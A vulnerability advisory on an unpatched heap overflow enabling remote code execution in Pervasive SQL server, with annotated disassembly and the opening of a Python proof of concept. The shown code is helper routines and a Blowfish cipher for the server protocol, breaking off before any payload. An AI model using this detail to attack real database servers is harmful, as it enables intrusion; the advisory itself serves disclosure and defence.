Vulnerability Summary
The following advisory describes Heap overflow vulnerability that can lead to remote code execution in Pervasive SQL server (Version 12.01.031.000).
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vulnerability Details
Heap overflow vulnerability
This vulnerability allows an attacker to overflow a heap buffer after Server-Client key-exchange. The heap buffer overflow enable to overwrite variables leading to remote code execution.
When Pervasive SQL server service runs, it binds to TCP port 1583 by default. When a client initiates connection with the server, there is a Blowfish key-exchange (Please refer to Key exchange in Pervasive SQL server). The key exchange is used to encrypt traffic that handles the various PervasiveSQL commands.
After the key-exchange has been handled in ThreadEntry_ServerStart, the function will hand off the connection to ThreadEntry_HandleConnection. ThreadEntry_HandleConnection is responsible for reading a packet from the network, decrypting it, and using the decrypted traffic to call one of the various functions that the server implements (For more details refer to Pervasive SQL Server handle connection).
The vulnerable code is found inside the _srvLnaConnectMP1 function, which after the key exchange, will call the fAgentCall function.
.text:100094AB loc_100094AB: .text:100094AB push esi .text:100094AC mov eax, [esi+20h] .text:100094AF push eax .text:100094B0 call fAgentCall .text:100094B5 add esp, 8
Inside fAgentCall, the server will read a 0x10 byte structure followed by 2 encrypted fields. The first field contains an arbitrary amount of data, and the second field is used to adjust for when the data is not aligned along an 8-byte boundary. Both of these chunks are decrypted using the blowfish key. Afterwards, the server will parse the decrypted contents of the packet using the function found at 100204D0.
.text:100209FF loc_100209FF: .text:100209FF push edi ; buffer .text:10020A00 push esi ; credential object .text:10020A01 call fAgentRead .text:10020A06 add esp, 8 ... .text:10020A11 lea eax, [ebp+var_11c_packet] .text:10020A17 call sub_100204D0 .text:10020A1C test eax, eax .text:10020A1E jz loc_10020BCB
The second field within this structure is used to determine which SrvLnaCallback function is used to handle the request.
There are two special cases that the server handles. The first one is LnaConnectMP and the second one is LnaConnectMP1. The vulnerable code is located within the LnaConnectMP1 function which is processed by the agentcall with the ID of 0x41.
As can be seen in the following code:
.text:10020A6F mov eax, fSrvLnaCallbacks[eax*4] .text:10020A76 test eax, eax .text:10020A78 mov [ebp+var_10c_callback], eax .text:10020A7E jnz short loc_10020A9E ... .text:10020AA6 mov eax, [ebp+var_11c_agentcall] .text:10020AAC cmp eax, 9 .text:10020AAF mov word ptr [ebx+48h], 1 .text:10020AB5 jz short loc_10020B0E .text:10020AB7 .text:10020AB7 cmp eax, 41h ; agentcall code .text:10020ABA jz short loc_10020AF6 ... .text:10020AF6 loc_10020AF6: .text:10020AF6 lea edx, [ebp+var_12c_agentarg0] .text:10020AFC push edx .text:10020AFD lea eax, [ebp+var_11c_packet] .text:10020B03 push eax .text:10020B04 push edi .text:10020B05 push esi .text:10020B06 push ebx .text:10020B07 call _srvLnaConnectMP1 .text:10020B0C jmp short loc_10020B24
Inside the srvLnaConnectMP1 function, the server will read a DWORD, followed by a string buffer from the decrypted traffic. After reading an integer, the server will check this length against the value 0x2000. If this value is larger than 0x2000 then the server will terminate the connection. Afterwards, the server will use the length to allocate a buffer using calloc. This length can be made to underflow causing the heap allocation to allocate 0 bytes. Afterwards, the application will take traffic from the network, decode it via xor, and then copy the traffic into the undersized heap allocation causing a buffer overflow.
This happens due to a different length being used for the allocation and the memcpy operation:
.text:100256CA lea edx, [ebp+var_7268_int32] .text:100256D0 push edx .text:100256D1 push esi .text:100256D2 call BufGet_INT32 .text:100256D7 add esp, 14h .text:100256DA test eax, eax .text:100256DC jz short loc_1002573E .text:100256DE mov eax, [ebp+var_7268_int32] .text:100256E4 cmp eax, 2000h .text:100256E9 jbe short loc_100256F4 .text:100256F4 loc_100256F4: .text:100256F4 push eax ; size_t .text:100256F5 lea eax, [ebp+var_4004_buffer] .text:100256FB push eax ; void * .text:100256FC push esi ; int .text:100256FD call BufGetBytes .text:10025702 add esp, 0Ch ... .text:100257A3 loc_100257A3: .text:100257A3 mov edi, [ebp+var_7268_int32] .text:100257A9 add edi, -2 ; integer underflow .text:100257AC lea ecx, [edi+1] .text:100257AF push 1 ; size_t .text:100257B1 push ecx ; size_t .text:100257B2 call ds:calloc .text:100257B8 add esp, 8 ... .text:100257F4 mov ecx, [ebp+var_725c_allocbuf] .text:100257FA push edi ; different length .text:100257FB lea eax, [ebp+var_2006_cypherbuf] .text:10025801 push eax ; void * .text:10025802 push ecx ; void * .text:10025803 call memcpy ; copy to allocation
Vendor response
We notified Pervasive SQL of the vulnerabilities back in July 2016, repeated attempts to re-establish contact and get some answer on the status of the patches for these vulnerabilities went unanswered. At this time there is no solution or workaround for these vulnerabilities.
Proof of Concept
import sys,os,socket,random,array,time import functools,itertools,operator import ctypes, ctypes as ct from ctypes import * ## ctypes utils for ester def cast(buf, type): return ct.cast(ct.pointer(ct.c_buffer(buf)), ct.POINTER(type)).contents def dump(type): res = [repr(type.__class__)] if hasattr(type,'_fields_'): o = 0 for k,v in type._fields_: val = getattr(type,k) res.append('<%04x> %s : %r'%(o, k, hex(val) if isinstance(val,(int,long)) else buffer(val)[:].encode('hex'))) o += ct.sizeof(v) elif hasattr(type,'_length_') and hasattr(type,'_type_'): o = 0 for i in xrange(type._length_): val = type[i] res.append('<%04x> %s : %r'%(o, i, hex(val) if isinstance(val,(int,long)) else buffer(val)[:].encode('hex'))) o += ct.sizeof(type._type_) return '\n'.join(res) def buf_littleendian(type): class res(ct.LittleEndianStructure): _fields_ = [('anonymous',type.__class__)] res = res() if hasattr(type,'_fields_'): res.anonymous = type elif (hasattr(type,'_length_') and hasattr(type,'_type_')): res.anonymous = res.anonymous.__class__(*type[:]) else: res.anonymous = type.value return bytes(buffer(res)) def buf_bigendian(type): class res(ct.BigEndianStructure): _fields_ = [('anonymous',type.__class__)] res = res() if hasattr(type,'_fields_'): res.anonymous = type elif (hasattr(type,'_length_') and hasattr(type,'_type_')): res.anonymous = res.anonymous.__class__(*type[:]) else: res.anonymous = type.value return bytes(buffer(res)) def recv_littleendian(s, type): class res(ct.LittleEndianStructure): _fields_ = [('anonymous',type)] buf = s.recv(ct.sizeof(type)) return cast(buf,res).anonymous def recv_bigendian(s, type): class res(ct.BigEndianStructure): _fields_ = [('anonymous',type)] buf = s.recv(ct.sizeof(type)) return cast(buf,res).anonymous def send_littleendian(s, type): return s.send(buf_littleendian(type)) def send_bigendian(s, type): return s.send(buf_bigendian(type)) ## blowfish class Blowfish: # Cipher directions ENCRYPT,DECRYPT = 0,1 def __init__ (self, key): if not key or len (key) > 56: raise RuntimeError, "Attempted to initialize Blowfish cipher with key of invalid length: %s" %len (key) self.p_boxes = [ 0x243F6A88, 0x85A308D3, 0x13198A2E, 0x03707344, 0xA4093822, 0x299F31D0, 0x082EFA98, 0xEC4E6C89, 0x452821E6, 0x38D01377, 0xBE5466CF, 0x34E90C6C, 0xC0AC29B7, 0xC97C50DD, 0x3F84D5B5, 0xB5470917, 0x9216D5D9, 0x8979FB1B ] self.s_boxes = [ [ 0xD1310BA6, 0x98DFB5AC, 0x2FFD72DB, 0xD01ADFB7, 0xB8E1AFED, 0x6A267E96, 0xBA7C9045, 0xF12C7F99, 0x24A19947, 0xB3916CF7, 0x0801F2E2, 0x858EFC16, 0x636920D8, 0x71574E69, 0xA458FEA3, 0xF4933D7E, 0x0D95748F, 0x728EB658, 0x718BCD58, 0x82154AEE, 0x7B54A41D, 0xC25A59B5, 0x9C30D539, 0x2AF26013, 0xC5D1B023, 0x286085F0, 0xCA417918, 0xB8DB38EF, 0x8E79DCB0, 0x603A180E, 0x6C9E0E8B, 0xB01E8A3E, 0xD71577C1, 0xBD314B27, 0x78AF2FDA, 0x55605C60, 0xE65525F3, 0xAA55AB94, 0x57489862, 0x63E81440, 0x55CA396A, 0x2AAB10B6, 0xB4CC5C34, 0x1141E8CE, 0xA15486AF, 0x7C72E993, 0xB3EE1411, 0x636FBC2A, 0x2BA9C55D, 0x741831F6, 0xCE5C3E16, 0x9B87931E, 0xAFD6BA33, 0x6C24CF5C, 0x7A325381, 0x28958677, 0x3B8F4898, 0x6B4BB9AF, 0xC4BFE81B, 0x66282193, 0x61D809CC, 0xFB21A991, 0x487CAC60, 0x5DEC8032, 0xEF845D5D, 0xE98575B1, 0xDC262302, 0xEB651B88, 0x23893E81, 0xD396ACC5, 0x0F6D6FF3, 0x83F44239, 0x2E0B4482, 0xA4842004, 0x69C8F04A, 0x9E1F9B5E, 0x21C66842, 0xF6E96C9A, 0x670C9C61, 0xABD388F0, 0x6A51A0D2, 0xD8542F68, 0x960FA728, 0xAB5133A3, 0x6EEF0B6C, 0x137A3BE4, 0xBA3BF050, 0x7EFB2A98, 0xA1F1651D, 0x39AF0176, 0x66CA593E, 0x82430E88, 0x8CEE8619, 0x456F9FB4, 0x7D84A5C3, 0x3B8B5EBE, 0xE06F75D8, 0x85C12073, 0x401A449F, 0x56C16AA6, 0x4ED3AA62, 0x363F7706, 0x1BFEDF72, 0x429B023D, 0x37D0D724, 0xD00A1248, 0xDB0FEAD3, 0x49F1C09B, 0x075372C9, 0x80991B7B, 0x25D479D8, 0xF6E8DEF7, 0xE3FE501A, 0xB6794C3B, 0x976CE0BD, 0x04C006BA, 0xC1A94FB6, 0x409F60C4, 0x5E5C9EC2, 0x196A2463, 0x68FB6FAF, 0x3E6C53B5, 0x1339B2EB, 0x3B52EC6F, 0x6DFC511F, 0x9B30952C, 0xCC814544, 0xAF5EBD09, 0xBEE3D004, 0xDE334AFD, 0x660F2807, 0x192E4BB3, 0xC0CBA857, 0x45C8740F, 0xD20B5F39, 0xB9D3FBDB, 0x5579C0BD, 0x1A60320A, 0xD6A100C6, 0x402C7279, 0x679F25FE, 0xFB1FA3CC, 0x8EA5E9F8, 0xDB3222F8, 0x3C7516DF, 0xFD616B15, 0x2F501EC8, 0xAD0552AB, 0x323DB5FA, 0xFD238760, 0x53317B48, 0x3E00DF82, 0x9E5C57BB, 0xCA6F8CA0, 0x1A87562E, 0xDF1769DB, 0xD542A8F6, 0x287EFFC3, 0xAC6732C6, 0x8C4F5573, 0x695B27B0, 0xBBCA58C8, 0xE1FFA35D, 0xB8F011A0, 0x10FA3D98, 0xFD2183B8, 0x4AFCB56C, 0x2DD1D35B, 0x9A53E479, 0xB6F84565, 0xD28E49BC, 0x4BFB9790, 0xE1DDF2DA, 0xA4CB7E33, 0x62FB1341, 0xCEE4C6E8, 0xEF20CADA, 0x36774C01, 0xD07E9EFE, 0x2BF11FB4, 0x95DBDA4D, 0xAE909198, 0xEAAD8E71, 0x6B93D5A0, 0xD08ED1D0, 0xAFC725E0, 0x8E3C5B2F, 0x8E7594B7, 0x8FF6E2FB, 0xF2122B64, 0x8888B812, 0x900DF01C, 0x4FAD5EA0, 0x688FC31C, 0xD1CFF191, 0xB3A8C1AD, 0x2F2F2218, 0xBE0E1777, 0xEA752DFE, 0x8B021FA1, 0xE5A0CC0F, 0xB56F74E8, 0x18ACF3D6, 0xCE89E299, 0xB4A84FE0, 0xFD13E0B7, 0x7CC43B81, 0xD2ADA8D9, 0x165FA266, 0x80957705, 0x93CC7314, 0x211A1477, 0xE6AD2065, 0x77B5FA86, 0xC75442F5, 0xFB9D35CF, 0xEBCDAF0C, 0x7B3E89A0, 0xD6411BD3, 0xAE1E7E49, 0x00250E2D, 0x2071B35E, 0x226800BB, 0x57B8E0AF, 0x2464369B, 0xF009B91E, 0x5563911D, 0x59DFA6AA, 0x78C14389, 0xD95A537F, 0x207D5BA2, 0x02E5B9C5, 0x83260376, 0x6295CFA9, 0x11C81968, 0x4E734A41, 0xB3472DCA, 0x7B14A94A, 0x1B510052, 0x9A532915, 0xD60F573F, 0xBC9BC6E4, 0x2B60A476, 0x81E67400, 0x08BA6FB5, 0x571BE91F, 0xF296EC6B, 0x2A0DD915, 0xB6636521, 0xE7B9F9B6, 0xFF34052E, 0xC5855664, 0x53B02D5D, 0xA99F8FA1, 0x08BA4799, 0x6E85076A ], [ 0x4B7A70E9, 0xB5B32944, 0xDB75092E, 0xC4192623, 0xAD6EA6B0, 0x49A7DF7D, 0x9CEE60B8, 0x8FEDB266, 0xECAA8C71, 0x699A17FF, 0x5664526C, 0xC2B19EE1, 0x193602A5, 0x75094C29, 0xA0591340, 0xE4183A3E, 0x3F54989A, 0x5B429D65, 0x6B8FE4D6, 0x99F73FD6, 0xA1D29C07, 0xEFE830F5, 0x4D2D38E6, 0xF0255DC1, 0x4CDD2086, 0x8470EB26, 0x6382E9C6, 0x021ECC5E, 0x09686B3F, 0x3EBAEFC9, 0x3C971814, 0x6B6A70A1, 0x687F3584, 0x52A0E286, 0xB79C5305, 0xAA500737, 0x3E07841C, 0x7FDEAE5C, 0x8E7D44EC, 0x5716F2B8, 0xB03ADA37, 0xF0500C0D, 0xF01C1F04, 0x0200B3FF, 0xAE0CF51A, 0x3CB574B2, 0x25837A58, 0xDC0921BD, 0xD19113F9, 0x7CA92FF6, 0x94324773, 0x22F54701, 0x3AE5E581, 0x37C2DADC, 0xC8B57634, 0x9AF3DDA7, 0xA9446146, 0x0FD0030E, 0xECC8C73E, 0xA4751E41, 0xE238CD99, 0x3BEA0E2F, 0x3280BBA1, 0x183EB331, 0x4E548B38, 0x4F6DB908, 0x6F420D03, 0xF60A04BF, 0x2CB81290, 0x24977C79, 0x5679B072, 0xBCAF89AF, 0xDE9A771F, 0xD9930810, 0xB38BAE12, 0xDCCF3F2E, 0x5512721F, 0x2E6B7124, 0x501ADDE6, 0x9F84CD87, 0x7A584718, 0x7408DA17, 0xBC9F9ABC, 0xE94B7D8C, 0xEC7AEC3A, 0xDB851DFA, 0x63094366, 0xC464C3D2, 0xEF1C1847, 0x3215D908, 0xDD433B37, 0x24C2BA16, 0x12A14D43, 0x2A65C451, 0x50940002, 0x133AE4DD, 0x71DFF89E, 0x10314E55, 0x81AC77D6, 0x5F11199B, 0x043556F1, 0xD7A3C76B, 0x3C11183B, 0x5924A509, 0xF28FE6ED, 0x97F1FBFA, 0x9EBABF2C, 0x1E153C6E, 0x86E34570, 0xEAE96FB1, 0x860E5E0A, 0x5A3E2AB3, 0x771FE71C, 0x4E3D06FA, 0x2965DCB9, 0x99E71D0F, 0x803E89D6, 0x5266C825, 0x2E4CC978, 0x9C10B36A, 0xC6150EBA, 0x94E2EA78, 0xA5FC3C53, 0x1E0A2DF4, 0xF2F74EA7, 0x361D2B3D, 0x1939260F, 0x19C27960, 0x5223A708, 0xF71312B6, 0xEBADFE6E, 0xEAC31F66, 0xE3BC4595, 0xA67BC883, 0xB17F37D1, 0x018CFF28, 0xC332DDEF, 0xBE6C5AA5, 0x65582185, 0x68AB9802, 0xEECEA50F, 0xDB2F953B, 0x2AEF7DAD, 0x5B6E2F84, 0x1521B628, 0x29076170, 0xECDD4775, 0x619F1510, 0x13CCA830, 0xEB61BD96, 0x0334FE1E, 0xAA0363CF, 0xB5735C90, 0x4C70A239, 0xD59E9E0B, 0xCBAADE14, 0xEECC86BC, 0x60622CA7, 0x9CAB5CAB, 0xB2F3846E, 0x648B1EAF, 0x19BDF0CA, 0xA02369B9, 0x655ABB50, 0x40685A32, 0x3C2AB4B3, 0x319EE9D5, 0xC021B8F7, 0x9B540B19, 0x875FA099, 0x95F7997E, 0x623D7DA8, 0xF837889A, 0x97E32D77, 0x11ED935F, 0x16681281, 0x0E358829, 0xC7E61FD6, 0x96DEDFA1, 0x7858BA99, 0x57F584A5, 0x1B227263, 0x9B83C3FF, 0x1AC24696, 0xCDB30AEB, 0x532E3054, 0x8FD948E4, 0x6DBC3128, 0x58EBF2EF, 0x34C6FFEA, 0xFE28ED61, 0xEE7C3C73, 0x5D4A14D9, 0xE864B7E3, 0x42105D14, 0x203E13E0, 0x45EEE2B6, 0xA3AAABEA, 0xDB6C4F15, 0xFACB4FD0, 0xC742F442, 0xEF6ABBB5, 0x654F3B1D, 0x41CD2105, 0xD81E799E, 0x86854DC7, 0xE44B476A, 0x3D816250, 0xCF62A1F2, 0x5B8D2646, 0xFC8883A0, 0xC1C7B6A3, 0x7F1524C3, 0x69CB7492, 0x47848A0B, 0x5692B285, 0x095BBF00, 0xAD19489D, 0x1462B174, 0x23820E00, 0x58428D2A, 0x0C55F5EA, 0x1DADF43E, 0x233F7061, 0x3372F092, 0x8D937E41, 0xD65FECF1, 0x6C223BDB, 0x7CDE3759, 0xCBEE7460, 0x4085F2A7, 0xCE77326E, 0xA6078084, 0x19F8509E, 0xE8EFD855, 0x61D99735, 0xA969A7AA, 0xC50C06C2, 0x5A04ABFC, 0x800BCADC, 0x9E447A2E, 0xC3453484, 0xFDD56705, 0x0E1E9EC9, 0xDB73DBD3, 0x105588CD, 0x675FDA79, 0xE3674340, 0xC5C43465, 0x713E38D8, 0x3D28F89E, 0xF16DFF20, 0x153E21E7, 0x8FB03D4A, 0xE6E39F2B, 0xDB83ADF7 ], [ 0xE93D5A68, 0x948140F7, 0xF64C261C, 0x94692934, 0x411520F7, 0x7602D4F7, 0xBCF46B2E, 0xD4A20068, 0xD4082471, 0x3320F46A, 0x43B7D4B7, 0x500061AF, 0x1E39F62E, 0x97244546, 0x14214F74, 0xBF8B8840, 0x4D95FC1D, 0x96B591AF, 0x70F4DDD3, 0x66A02F45, 0xBFBC09EC, 0x03BD9785, 0x7FAC6DD0, 0x31CB8504, 0x96EB27B3, 0x55FD3941, 0xDA2547E6, 0xABCA0A9A, 0x28507825, 0x530429F4, 0x0A2C86DA, 0xE9B66DFB, 0x68DC1462, 0xD7486900, 0x680EC0A4, 0x27A18DEE, 0x4F3FFEA2, 0xE887AD8C, 0xB58CE006, 0x7AF4D6B6, 0xAACE1E7C, 0xD3375FEC, 0xCE78A399, 0x406B2A42, 0x20FE9E35, 0xD9F385B9, 0xEE39D7AB, 0x3B124E8B, 0x1DC9FAF7, 0x4B6D1856, 0x26A36631, 0xEAE397B2, 0x3A6EFA74, 0xDD5B4332, 0x6841E7F7, 0xCA7820FB, 0xFB0AF54E, 0xD8FEB397, 0x454056AC, 0xBA489527, 0x55533A3A, 0x20838D87, 0xFE6BA9B7, 0xD096954B, 0x55A867BC, 0xA1159A58, 0xCCA92963, 0x99E1DB33, 0xA62A4A56, 0x3F3125F9, 0x5EF47E1C, 0x9029317C, 0xFDF8E802, 0x04272F70, 0x80BB155C, 0x05282CE3, 0x95C11548, 0xE4C66D22, 0x48C1133F, 0xC70F86DC, 0x07F9C9EE, 0x41041F0F, 0x404779A4, 0x5D886E17, 0x325F51EB, 0xD59BC0D1, 0xF2BCC18F, 0x41113564, 0x257B7834, 0x602A9C60, 0xDFF8E8A3, 0x1F636C1B, 0x0E12B4C2, 0x02E1329E, 0xAF664FD1, 0xCAD18115, 0x6B2395E0, 0x333E92E1, 0x3B240B62, 0xEEBEB922, 0x85B2A20E, 0xE6BA0D99, 0xDE720C8C, 0x2DA2F728, 0xD0127845, 0x95B794FD, 0x647D0862, 0xE7CCF5F0, 0x5449A36F, 0x877D48FA, 0xC39DFD27, 0xF33E8D1E, 0x0A476341, 0x992EFF74, 0x3A6F6EAB, 0xF4F8FD37, 0xA812DC60, 0xA1EBDDF8, 0x991BE14C, 0xDB6E6B0D, 0xC67B5510, 0x6D672C37, 0x2765D43B, 0xDCD0E804, 0xF1290DC7, 0xCC00FFA3, 0xB5390F92, 0x690FED0B, 0x667B9FFB, 0xCEDB7D9C, 0xA091CF0B, 0xD9155EA3, 0xBB132F88, 0x515BAD24, 0x7B9479BF, 0x763BD6EB, 0x37392EB3, 0xCC115979, 0x8026E297, 0xF42E312D, 0x6842ADA7, 0xC66A2B3B, 0x12754CCC, 0x782EF11C, 0x6A124237, 0xB79251E7, 0x06A1BBE6, 0x4BFB6350, 0x1A6B1018, 0x11CAEDFA, 0x3D25BDD8, 0xE2E1C3C9, 0x44421659, 0x0A121386, 0xD90CEC6E, 0xD5ABEA2A, 0x64AF674E, 0xDA86A85F, 0xBEBFE988, 0x64E4C3FE, 0x9DBC8057, 0xF0F7C086, 0x60787BF8, 0x6003604D, 0xD1FD8346, 0xF6381FB0, 0x7745AE04, 0xD736FCCC, 0x83426B33, 0xF01EAB71, 0xB0804187, 0x3C005E5F, 0x77A057BE, 0xBDE8AE24, 0x55464299, 0xBF582E61, 0x4E58F48F, 0xF2DDFDA2, 0xF474EF38, 0x8789BDC2, 0x5366F9C3, 0xC8B38E74, 0xB475F255, 0x46FCD9B9, 0x7AEB2661, 0x8B1DDF84, 0x846A0E79, 0x915F95E2, 0x466E598E, 0x20B45770, 0x8CD55591, 0xC902DE4C, 0xB90BACE1, 0xBB8205D0, 0x11A86248, 0x7574A99E, 0xB77F19B6, 0xE0A9DC09, 0x662D09A1, 0xC4324633, 0xE85A1F02, 0x09F0BE8C, 0x4A99A025, 0x1D6EFE10, 0x1AB93D1D, 0x0BA5A4DF, 0xA186F20F, 0x2868F169, 0xDCB7DA83, 0x573906FE, 0xA1E2CE9B, 0x4FCD7F52, 0x50115E01, 0xA70683FA, 0xA002B5C4, 0x0DE6D027, 0x9AF88C27, 0x773F8641, 0xC3604C06, 0x61A806B5, 0xF0177A28, 0xC0F586E0, 0x006058AA, 0x30DC7D62, 0x11E69ED7, 0x2338EA63, 0x53C2DD94, 0xC2C21634, 0xBBCBEE56, 0x90BCB6DE, 0xEBFC7DA1, 0xCE591D76, 0x6F05E409, 0x4B7C0188, 0x39720A3D, 0x7C927C24, 0x86E3725F, 0x724D9DB9, 0x1AC15BB4, 0xD39EB8FC, 0xED545578, 0x08FCA5B5, 0xD83D7CD3, 0x4DAD0FC4, 0x1E50EF5E, 0xB161E6F8, 0xA28514D9, 0x6C51133C, 0x6FD5C7E7, 0x56E14EC4, 0x362ABFCE, 0xDDC6C837, 0xD79A3234, 0x92638212, 0x670EFA8E, 0x406000E0 ], [ 0x3A39CE37, 0xD3FAF5CF, 0xABC27737, 0x5AC52D1B, 0x5CB0679E, 0x4FA33742, 0xD3822740, 0x99BC9BBE, 0xD5118E9D, 0xBF0F7315, 0xD62D1C7E, 0xC700C47B, 0xB78C1B6B, 0x21A19045, 0xB26EB1BE, 0x6A366EB4, 0x5748AB2F, 0xBC946E79, 0xC6A376D2, 0x6549C2C8, 0x530FF8EE, 0x468DDE7D, 0xD5730A1D, 0x4CD04DC6, 0x2939BBDB, 0xA9BA4650, 0xAC9526E8, 0xBE5EE304, 0xA1FAD5F0, 0x6A2D519A, 0x63EF8CE2, 0x9A86EE22, 0xC089C2B8, 0x43242EF6, 0xA51E03AA, 0x9CF2D0A4, 0x83C061BA, 0x9BE96A4D, 0x8FE51550, 0xBA645BD6, 0x2826A2F9, 0xA73A3AE1, 0x4BA99586, 0xEF5562E9, 0xC72FEFD3, 0xF752F7DA, 0x3F046F69, 0x77FA0A59, 0x80E4A915, 0x87B08601, 0x9B09E6AD, 0x3B3EE593, 0xE990FD5A, 0x9E34D797, 0x2CF0B7D9, 0x022B8B51, 0x96D5AC3A, 0x017DA67D, 0xD1CF3ED6, 0x7C7D2D28, 0x1F9F25CF, 0xADF2B89B, 0x5AD6B472, 0x5A88F54C, 0xE029AC71, 0xE019A5E6, 0x47B0ACFD, 0xED93FA9B, 0xE8D3C48D, 0x283B57CC, 0xF8D56629, 0x79132E28, 0x785F0191, 0xED756055, 0xF7960E44, 0xE3D35E8C, 0x15056DD4, 0x88F46DBA, 0x03A16125, 0x0564F0BD, 0xC3EB9E15, 0x3C9057A2, 0x97271AEC, 0xA93A072A, 0x1B3F6D9B, 0x1E6321F5, 0xF59C66FB, 0x26DCF319, 0x7533D928, 0xB155FDF5, 0x03563482, 0x8ABA3CBB, 0x28517711, 0xC20AD9F8, 0xABCC5167, 0xCCAD925F, 0x4DE81751, 0x3830DC8E, 0x379D5862, 0x9320F991, 0xEA7A90C2, 0xFB3E7BCE, 0x5121CE64, 0x774FBE32, 0xA8B6E37E, 0xC3293D46, 0x48DE5369, 0x6413E680, 0xA2AE0810, 0xDD6DB224, 0x69852DFD, 0x09072166, 0xB39A460A, 0x6445C0DD, 0x586CDECF, 0x1C20C8AE, 0x5BBEF7DD, 0x1B588D40, 0xCCD2017F, 0x6BB4E3BB, 0xDDA26A7E, 0x3A59FF45, 0x3E350A44, 0xBCB4CDD5, 0x72EACEA8, 0xFA6484BB, 0x8D6612AE, 0xBF3C6F47, 0xD29BE463, 0x542F5D9E, 0xAEC2771B, 0xF64E6370, 0x740E0D8D, 0xE75B1357, 0xF8721671, 0xAF537D5D, 0x4040CB08, 0x4EB4E2CC, 0x34D2466A, 0x0115AF84, 0xE1B00428, 0x95983A1D, 0x06B89FB4, 0xCE6EA048, 0x6F3F3B82, 0x3520AB82, 0x011A1D4B, 0x277227F8, 0x611560B1, 0xE7933FDC, 0xBB3A792B, 0x344525BD, 0xA08839E1, 0x51CE794B, 0x2F32C9B7, 0xA01FBAC9, 0xE01CC87E, 0xBCC7D1F6, 0xCF0111C3, 0xA1E8AAC7, 0x1A908749, 0xD44FBD9A, 0xD0DADECB, 0xD50ADA38, 0x0339C32A, 0xC6913667, 0x8DF9317C, 0xE0B12B4F, 0xF79E59B7, 0x43F5BB3A, 0xF2D519FF, 0x27D9459C, 0xBF97222C, 0x15E6FC2A, 0x0F91FC71, 0x9B941525, 0xFAE59361, 0xCEB69CEB, 0xC2A86459, 0x12BAA8D1, 0xB6C1075E, 0xE3056A0C, 0x10D25065, 0xCB03A442, 0xE0EC6E0E, 0x1698DB3B, 0x4C98A0BE, 0x3278E964, 0x9F1F9532, 0xE0D392DF, 0xD3A0342B, 0x8971F21E, 0x1B0A7441, 0x4BA3348C, 0xC5BE7120, 0xC37632D8, 0xDF359F8D, 0x9B992F2E, 0xE60B6F47, 0x0FE3F11D, 0xE54CDA54, 0x1EDAD891, 0xCE6279CF, 0xCD3E7E6F, 0x1618B166, 0xFD2C1D05, 0x848FD2C5, 0xF6FB2299, 0xF523F357, 0xA6327623, 0x93A83531, 0x56CCCD02, 0xACF08162, 0x5A75EBB5, 0x6E163697, 0x88D273CC, 0xDE966292, 0x81B949D0, 0x4C50901B, 0x71C65614, 0xE6C6C7BD, 0x327A140A, 0x45E1D006, 0xC3F27B9A, 0xC9AA53FD, 0x62A80F00, 0xBB25BFE2, 0x35BDD2F6, 0x71126905, 0xB2040222, 0xB6CBCF7C, 0xCD769C2B, 0x53113EC0, 0x1640E3D3, 0x38ABBD60, 0x2547ADF0, 0xBA38209C, 0xF746CE76, 0x77AFA1C5, 0x20756060, 0x85CBFE4E, 0x8AE88DD8, 0x7AAAF9B0, 0x4CF9AA7E, 0x1948C25C, 0x02FB8A8C, 0x01C36AE4, 0xD6EBE1F9, 0x90D4F869, 0xA65CDEA0, 0x3F09252D, 0xC208E69F, 0xB74E6132, 0xCE77E25B, 0x578FDFE3, 0x3AC372E6 ] ] # Cycle through the p-boxes and round-robin XOR the # key with the p-boxes keyiter = itertools.imap(ord,itertools.cycle(key)) for i in range (len (self.p_boxes)): val = keyiter.next(); val <<= 8 val |= keyiter.next(); val <<= 8 val |= keyiter.next(); val <<= 8 val |= keyiter.next(); self.p_boxes[i] ^= val # For the chaining process l,r = 0,0 # Begin chain replacing the p-boxes for i in range(1, len(self.p_boxes), 2): l,r = self.cipher(l,r, self.ENCRYPT) self.p_boxes[i-1],self.p_boxes[i] = l,r # Chain replace the s-boxes for i in range (len (self.s_boxes)): for j in range (0, len (self.s_boxes[i]), 2): l, r = self.cipher (l, r, self.ENCRYPT) self.s_boxes[i][j],self.s_boxes[i][j + 1] = l,r continue return def cipher (self, xl, xr, direction): if direction == self.ENCRYPT: for i in range (16): xl = xl ^ self.p_boxes[i] xr = self.__round_func (xl) ^ xr xl, xr = xr, xl xl, xr = xr, xl xr = xr ^ self.p_boxes[16] xl = xl ^ self.p_boxes[17] else: for i in range (17, 1, -1): xl = xl ^ self.p_boxes[i] xr = self.__round_func (xl) ^ xr xl, xr = xr, xl xl, xr = xr, xl xr = xr ^ self.p_boxes[1] xl = xl ^ self.p_boxes[0] return xl, xr modulus = long(2) ** 32 def __round_func (self, xl): a = (xl & 0xFF000000) >> 24 b = (xl & 0x00FF0000) >> 16 c = (xl & 0x0000FF00) >> 8 d = xl & 0x000000FF # Perform all ops as longs then and out the last 32-bits to # obtain the integer f = (long (self.s_boxes[0][a]) + long (self.s_boxes[1][b])) % self.modulus f = f ^ long (self.s_boxes[2][c]) f = f + long (self.s_boxes[3][d]) f = (f % self.modulus) & 0xFFFFFFFF return f def encrypt (self, data): if not len (data) == 8: raise RuntimeError, "Attempted to encrypt data of invalid block length: %s" %len (data) # Use big endianess since that's what everyone else uses xl = ord (data[3]) | (ord (data[2]) << 8) | (ord (data[1]) << 16) | (ord (data[0]) << 24) xr = ord (data[7]) | (ord (data[6]) << 8) | (ord (data[5]) << 16) | (ord (data[4]) << 24) cl, cr = self.cipher (xl, xr, self.ENCRYPT) chars = ''.join ([ chr ((cl >> 24) & 0xFF), chr ((cl >> 16) & 0xFF), chr ((cl >> 8) & 0xFF), chr (cl & 0xFF), chr ((cr >> 24) & 0xFF), chr ((cr >> 16) & 0xFF), chr ((cr >> 8) & 0xFF), chr (cr & 0xFF) ]) return chars def decrypt (self, data): if not len (data) == 8: raise RuntimeError, "Attempted to encrypt data of invalid block length: %s" %len (data) # Use big endianess since that's what everyone else uses cl = ord (data[3]) | (ord (data[2]) << 8) | (ord (data[1]) << 16) | (ord (data[0]) << 24) cr = ord (data[7]) | (ord (data[6]) << 8) | (ord (data[5]) << 16) | (ord (data[4]) << 24) xl, xr = self.cipher (cl, cr, self.DECRYPT) chars = ''.join ([ chr ((xl >> 24) & 0xFF), chr ((xl >> 16) & 0xFF), chr ((xl >> 8) & 0xFF), chr (xl & 0xFF), chr ((xr >> 24) & 0xFF), chr ((xr >> 16) & 0xFF), chr ((xr >> 8) & 0xFF), chr (xr & 0xFF) ]) return chars def blocksize (self): return 8 def key_length (self): return 56 def key_bits (self): return 56 * 8 ## protocol # greeting def greet(s, 